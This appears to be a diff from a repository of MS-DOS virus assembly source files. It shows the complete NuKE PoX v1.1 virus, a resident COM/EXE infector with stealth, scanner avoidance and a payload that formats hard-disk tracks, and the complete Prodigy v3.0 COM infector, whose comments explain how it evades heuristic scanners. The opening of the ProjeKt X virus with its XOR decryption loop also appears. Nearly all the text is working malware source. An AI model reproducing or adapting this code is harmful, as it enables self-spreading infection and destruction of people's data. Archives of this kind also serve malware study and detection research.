||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
crypt:
|
||||
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
||||
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
||||
decrypt proc near
|
||||
pop bp
|
||||
push bp
|
||||
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
||||
mov cx,crypt_size ;Value
|
||||
decrypt_encrypt:
|
||||
xor cs:[bp],al ;Fuck Scanners and put a
|
||||
inc bp ;`NOT AL' anywhere here...
|
||||
loop decrypt_encrypt
|
||||
retn
|
||||
value db 00h ;Encryption value!
|
||||
decrypt endp
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
497
MSDOS/Virus.MSDOS.Unknown.pox2.asm
Normal file
497
MSDOS/Virus.MSDOS.Unknown.pox2.asm
Normal file
@ -0,0 +1,497 @@
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
|
||||
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
|
||||
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
|
||||
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus_size equ last - init_virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Virus Begins Here...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus:
|
||||
call doit_now ;Doit VirusMan...
|
||||
|
||||
doit_now: pop bp ;Not to Lose Track
|
||||
sub bp,106h ;Set our position
|
||||
push ax ;Save all the registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,7bcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,7bcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
xor bx,bx
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es
|
||||
mov word ptr cs:[int9][bp],bx
|
||||
|
||||
mov ax,3521h ;Sometimes tend to intercept
|
||||
int 21h ;This Interrupt...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number od bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
cmp word ptr cs:[buffer][bp],5A4Dh
|
||||
je exit_exe_file ;Its an EXE file...
|
||||
mov bx,offset buffer ;Its a COM file restore
|
||||
add bx,bp ;First three Bytes...
|
||||
mov ax,[bx] ;Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ;First two bytes Restored
|
||||
add bx,2 ;Get the next Byte
|
||||
mov al,[bx] ;Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ;Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ;Jump Back to Beginning
|
||||
push ax ;Restores our IP (a CALL
|
||||
retn ;Saves them, now we changed
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
|
||||
exit_exe_file:
|
||||
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
|
||||
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
|
||||
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
|
||||
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
|
||||
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
|
||||
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
|
||||
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
|
||||
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
db 0B8h ;This is now a MOV AX,XXXX
|
||||
Rock_Fix1: ;XXXX is the original SS
|
||||
dw 0 ;Our XXXX Value
|
||||
cli ;Disable Interrupts
|
||||
mov ss,ax ;Mov it to SS
|
||||
db 0BCh ;This is now a MOV SP,XXXX
|
||||
Rock_Fix2:
|
||||
dw 0 ;The XXXX Value for SP
|
||||
sti ;Enable interrupts
|
||||
db 0EAh ;JMP XXXX:YYYY
|
||||
fuck_yeah:
|
||||
dd 0 ;Dword IP:CS (Reverse order!
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 9 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler: ;Every TIME a KEY is pressed
|
||||
push ax ;This ROUTINE is called!
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave system alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Dir Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 21 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,7bcdh ;Virus testing
|
||||
jne int21call
|
||||
jmp execute
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
cmp ax,7bcdh ;Was Virus testing if it was
|
||||
jne continue ;Alive? If No Continue
|
||||
push cs
|
||||
pop ds ;If Yes, Check if COMMAND.CO
|
||||
mov dx,offset command ;Is infected! And return
|
||||
jmp continue2
|
||||
continue:
|
||||
call check_name ;Make sure file executed
|
||||
jc exit_now ;Ain't a Anti-Viral program
|
||||
continue2: ;With the CRC-32 checkers
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,20h
|
||||
mov dx,offset ds:[buffer] ;Read first 20h bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end of
|
||||
xor cx,cx ;file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exe_file ;JMP to EXE Infector
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the firs
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
exit_now2:
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp ax,7bcdh ;Virus checking if alive
|
||||
jne leave_now ;No, Exit normally
|
||||
mov bx,ax ;Yes, Fix BX with codez
|
||||
leave_now:
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
exe_file:
|
||||
mov cx,word ptr cs:[buffer+20] ;IP Regester
|
||||
mov word ptr cs:[exe_ip],cx ;Save IP Regester
|
||||
mov cx,word ptr cs:[buffer+22] ;CS Regester
|
||||
mov word ptr cs:[exe_cs],cx ;Save CS Regester
|
||||
mov cx,word ptr cs:[buffer+16] ;SP Regester
|
||||
mov word ptr cs:[exe_sp],cx ;Save SP Regester
|
||||
mov cx,word ptr cs:[buffer+14] ;SS Regester
|
||||
mov word ptr cs:[exe_ss],cx ;Save SS Regester
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new CS:IP
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
mov word ptr cs:[buffer+22],dx ;Restore New CS
|
||||
mov word ptr cs:[buffer+20],ax ;Restore New IP
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virus_size
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new SS:SP
|
||||
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
|
||||
add ax,40h
|
||||
mov word ptr cs:[buffer+14],dx ;New SS Pointer
|
||||
mov word ptr cs:[buffer+16],ax ;New SP Pointer
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7 ;Fix for Header for
|
||||
shl dx,cl ;new file size in 512
|
||||
;byte pages
|
||||
mov bx,ax
|
||||
mov cl,9 ;And the remainder
|
||||
shr bx,cl ;after dividing by
|
||||
;512...
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz outta_here
|
||||
inc dx
|
||||
outta_here:
|
||||
pop cx
|
||||
pop bx
|
||||
|
||||
mov word ptr cs:[buffer+2],ax ;Save Remainder
|
||||
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
|
||||
call infect_me ;INFECT File! Yeah!
|
||||
jc exit_exe
|
||||
|
||||
mov ah,40h ;Write NEW EXE Header back
|
||||
mov dx,offset ds:[buffer] ;to EXE File! Points to
|
||||
mov cx,20h ;The Virus Now!!! ehhe
|
||||
int 21h
|
||||
exit_exe:
|
||||
jmp exit_now
|
||||
|
||||
rocko endp
|
||||
|
||||
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
|
||||
exe_cs dw 0 ;Header!
|
||||
exe_sp dw 0
|
||||
exe_ss dw 0
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Infection Routine...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset init_virus ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
multiply proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
|
||||
add dx,bx
|
||||
and ax,0Fh
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
multiply endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check to see if an `Anti-Viral' Product is being executed.
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
check_name proc near
|
||||
push si
|
||||
push cx
|
||||
|
||||
mov si,dx
|
||||
mov cx,128h
|
||||
loop_me:
|
||||
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
|
||||
je next_ok
|
||||
inc si
|
||||
loop loop_me
|
||||
next_ok:
|
||||
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
|
||||
jne next_1 ;Naaa
|
||||
cmp ds:[si-4],'RP'
|
||||
je bad_file ;Yupe...
|
||||
next_1:
|
||||
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
|
||||
jne next_2 ;Naaa
|
||||
cmp ds:[si-4],'CS'
|
||||
je bad_file ;Yupe...
|
||||
next_2:
|
||||
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
|
||||
jne next_3 ;Naaa
|
||||
cmp ds:[si-4],'EL'
|
||||
je bad_file ;Yupe...
|
||||
next_3:
|
||||
pop cx
|
||||
pop si ;good file Set CARRY FLAG
|
||||
clc ;to normal
|
||||
retn
|
||||
bad_file:
|
||||
pop cx ;Bad file, Set CARRY FLAG
|
||||
pop si ;ON!!!
|
||||
stc
|
||||
retn
|
||||
check_name endp
|
||||
|
||||
command db "C:\COMMAND.COM",0 ;What to infect!
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
db 30h DUP (?)
|
||||
msg db "NukE PoX V1.1 - R.S"
|
||||
last:
|
||||
seg_a ends
|
||||
|
||||
end start
|
1167
MSDOS/Virus.MSDOS.Unknown.prime-b.asm
Normal file
1167
MSDOS/Virus.MSDOS.Unknown.prime-b.asm
Normal file
File diff suppressed because it is too large
Load Diff
244
MSDOS/Virus.MSDOS.Unknown.prodigy3.asm
Normal file
244
MSDOS/Virus.MSDOS.Unknown.prodigy3.asm
Normal file
@ -0,0 +1,244 @@
|
||||
; - [Prodigy] v3.0
|
||||
; Metabolis/VLAD
|
||||
; _ _ .---------.
|
||||
; | | |_| | T H E |
|
||||
; | | _ `---------'
|
||||
; _____ _____ _____ ___| | | | ______ _ _
|
||||
; | _ | | .-. | | _ | | _ | | | | ___/ | | | |
|
||||
; | |_| | | `-' | | |_| | | |_| | | | | |___ | | | |
|
||||
; | ___| |_|~\_\ |_____| |_____| |_| \_,. | |_|_|_|
|
||||
; | | .---------------------. | | | |
|
||||
; | | | - VIRUS! v3.0 - | | | | |
|
||||
; |_| `---------------------' |_| |_|
|
||||
;
|
||||
; - Direct Action, Parasitic .COM infector
|
||||
; - Restores original attributes and file date/time
|
||||
; - Searches '..' until there are no more files to infect
|
||||
; - Won't infect COMMAND.COM
|
||||
; - Has an infection counter (set to infect 2 at a time right now)
|
||||
;
|
||||
; - sure, this virus is simple, and not really worth releasing.. but
|
||||
; not everyone is up to understanding Qark's level of code,
|
||||
; certainly not me. So for the people who are just starting off
|
||||
; take a look at this one. It's the 3rd virus I've written, the
|
||||
; other 2 definately not worth publishing :) hehe
|
||||
;
|
||||
; - Use a86 to compile
|
||||
|
||||
org 0100h ; yer COM file starts
|
||||
; at this mem address
|
||||
|
||||
db 0e9h,00h,00h ; jump to begin
|
||||
|
||||
begin:
|
||||
call $+3 ; get the delta offset
|
||||
next: int 3h ; (overcomes 'E' heuristic)
|
||||
pop bp ; for the virus and
|
||||
sub bp, offset next ; stick it in BP
|
||||
|
||||
set_dta:
|
||||
|
||||
lea si, [bp+offset first3]
|
||||
mov di, 100h
|
||||
movsw
|
||||
movsb
|
||||
|
||||
; the virus puts the original three bytes of the program back
|
||||
; at 100h so all we have to do at the end of the virus is jump
|
||||
; to 100h and it will execute the infected program as normal
|
||||
|
||||
mov byte ptr [bp+counter], 00h ; initialise infection
|
||||
; counter
|
||||
mov ah,47h ; get current directory
|
||||
xor dl,dl ; and put it in currdir
|
||||
lea si,[bp+offset currdir] ; (dl=0 <- default drive)
|
||||
int 21h
|
||||
|
||||
mov ah,1Ah ; Set DTA to buffer
|
||||
lea dx,[bp+offset tempDTA] ; so command line params
|
||||
int 21h ; aren't overwritten
|
||||
|
||||
find_first:
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; with any attributes
|
||||
dec byte ptr [bp+offset mask]
|
||||
|
||||
; the reason I dec the '+' in the filemask is because this
|
||||
; makes it an asterisk. This will get past scanners picking
|
||||
; up *.COM as a heuristic.
|
||||
|
||||
lea dx,[bp+offset mask] ; look for *.COM
|
||||
int 21h
|
||||
inc byte ptr [bp+offset mask]
|
||||
|
||||
; this restores the '*' in the filemask to '+' for writing
|
||||
; back to disk.
|
||||
|
||||
jnc open_file ; no files to infect..
|
||||
jmp load_com
|
||||
|
||||
fn:
|
||||
jmp find_next
|
||||
|
||||
; find_next is too far from most places so I've set this up to
|
||||
; make life easier :) it gets around the jump > 128 error.
|
||||
|
||||
open_file:
|
||||
|
||||
; when a file is found with either find first or find next
|
||||
; all of its details like size, attributes, name etc are stored
|
||||
; in an area called DTA which resides at 80h (just before the
|
||||
; COM itself at 100h). In this case, the DTA has been moved
|
||||
; to another address. The different details are positioned
|
||||
; at various positions from 80h. 9eh for instance is the
|
||||
; position of the filename (ASCIIZ)
|
||||
|
||||
cmp word ptr [bp+tempDTA+1eh],'OC' ; don't infect command.com
|
||||
je fn ; uh oh.. find another file
|
||||
lea dx,[bp+tempDTA+1eh] ; filename in DTA
|
||||
mov ax,4301h ; put normal attributes
|
||||
mov cx,20h ; on the file
|
||||
int 21h
|
||||
jc fn ; error, we outta here
|
||||
mov ax,3D02h ; open that file!
|
||||
lea dx,[bp+tempDTA+1eh] ; filename in DTA
|
||||
int 21h
|
||||
jc fn ; can't open file :(
|
||||
xchg bx,ax ; put file handle in BX
|
||||
|
||||
infect:
|
||||
mov cx,3 ; read 3 bytes from file
|
||||
mov ah,03Fh ; and stick them in first3
|
||||
lea dx,[bp+offset first3]
|
||||
int 021h
|
||||
|
||||
lea cx,word ptr [bp+offset first3] ; put the first 2 bytes of
|
||||
; the file in cx
|
||||
add cl,ch ; add the two bytes together
|
||||
cmp cl,167 ; M+Z=167 ?
|
||||
je fn
|
||||
|
||||
; if I simply compared the first two bytes to 'MZ' (or 'ZM' since
|
||||
; it would be a word) this would set off a tbscan heuristic, so
|
||||
; I've used the adding method, although N+Y=167 it is not really
|
||||
; worth worrying about, I have seen the first two bytes of a COM
|
||||
; file equal 167 yet.
|
||||
|
||||
call lseek_end ; move to the end of the file
|
||||
|
||||
sub ax,heap-begin+3 ; subtract the virus length
|
||||
cmp word ptr [bp+first3+1],ax ; see if jump is to virus
|
||||
je fn ; file already infected
|
||||
add ax,heap-begin ; add on to know where to
|
||||
mov word ptr [bp+infjump+1],ax ; jump to and fix it up
|
||||
|
||||
mov ax,4200h ; lseek to beginning of file
|
||||
cwd ; xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov cx,3 ; write 3 bytes to file
|
||||
mov ah,40h ; (the new jump to the
|
||||
lea dx,[bp+offset infjump] ; virus)
|
||||
int 21h
|
||||
|
||||
call lseek_end ; move to the end of the file
|
||||
|
||||
mov cx,heap-begin ; write the virus
|
||||
mov ah,40h ; to the end of the
|
||||
lea dx,[bp+offset begin] ; file
|
||||
int 21h
|
||||
|
||||
call close_file
|
||||
|
||||
load_com:
|
||||
|
||||
inc byte ptr [bp+counter] ; add one to the counter
|
||||
cmp byte ptr [bp+counter],2 ; check if X files have
|
||||
jne find_next ; been infected
|
||||
|
||||
mov ah, 1Ah ; restore DTA to original
|
||||
mov dx, 80h ; position
|
||||
int 21h
|
||||
|
||||
mov ah,3bh ; Change directory
|
||||
lea dx,[bp+offset slash] ; to the way it was
|
||||
int 21h ; before the dot dot
|
||||
|
||||
mov bx,101h ; we need to jump to 100h
|
||||
dec bx ; this will knock out a
|
||||
jmp bx ; tbscan heuristic :)
|
||||
|
||||
find_next:
|
||||
|
||||
call close_file ; make sure file is closed
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
int 21h
|
||||
jc dot_dot
|
||||
jmp open_file ; infect the bastard!
|
||||
|
||||
dot_dot:
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+offset dds] ; to '..' from the
|
||||
int 21h ; current directory
|
||||
jc load_com
|
||||
jmp find_first
|
||||
|
||||
close_file:
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+tempdta+15h] ; get old attr from DTA
|
||||
lea dx,[bp+TempDTA+1eh] ; position of filename in DTA
|
||||
mov ax,4301h ; set attr to original
|
||||
int 21h
|
||||
mov cx,word ptr [bp+tempDTA+16h] ; date and time
|
||||
mov dx,word ptr [bp+tempDTA+18h] ; date and time
|
||||
mov ax,5701h ; set file date/time
|
||||
int 21h
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
ret
|
||||
|
||||
lseek_end:
|
||||
mov ax,4202h ; get to the end
|
||||
cwd ; of the file (xor dx,dx)
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
quote db 0dh,0ah
|
||||
db '[Prodigy] v3.0 by Metabolis/VLAD',0dh,0ah
|
||||
db '"Feel the jungle vibe baby"',0dh,0ah
|
||||
db '"In the jungle, In the jungle.."',0dh,0ah
|
||||
|
||||
; [Prodigy] v3.0 by Metabolis/VLAD
|
||||
; "Feel the jungle vibe baby"
|
||||
; "In the jungle, In the jungle.."
|
||||
|
||||
; Quote from "Ruff in the jungle bizness" by the Prodigy :)
|
||||
|
||||
infjump db 0e9h,00h,00h ; jump to the virus
|
||||
first3 db 0cdh,20h,00h ; First 3 bytes of the
|
||||
; com file that was infected
|
||||
dds db '..',00 ; '..' for dir recursor
|
||||
mask db '+','.COM',00 ; filemask (for finding files)
|
||||
slash db '\' ; fix for currdir
|
||||
|
||||
; when you use the get current directory function it doesn't
|
||||
; put a '\' at the beginning of it, so it's not possible to
|
||||
; change to the directory if you store it straight away,
|
||||
; that's why I change to directory from offset slash rather
|
||||
; than currdir since it's ASCIIZ.. (string ending in a zero)
|
||||
|
||||
heap:
|
||||
|
||||
currdir db 64 dup (?) ; storage for default dir
|
||||
counter db 00 ; infection counter
|
||||
tempdta db 43 dup (?)
|
||||
|
||||
; everything after heap doesn't actually get written to disk when
|
||||
; the virus infects a file.
|
||||
|
519
MSDOS/Virus.MSDOS.Unknown.projektx.asm
Normal file
519
MSDOS/Virus.MSDOS.Unknown.projektx.asm
Normal file
@ -0,0 +1,519 @@
|
||||
; PROJEKTX.ASM : ProjeKt X
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'AI' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
mov bp,(offset heap - offset startencrypt)/2 ; iterations
|
||||
patch_startencrypt:
|
||||
mov bx,offset startencrypt ; start of decryption
|
||||
decrypt_loop:
|
||||
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc bx ; calculate new decryption location
|
||||
inc bx
|
||||
dec bp ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
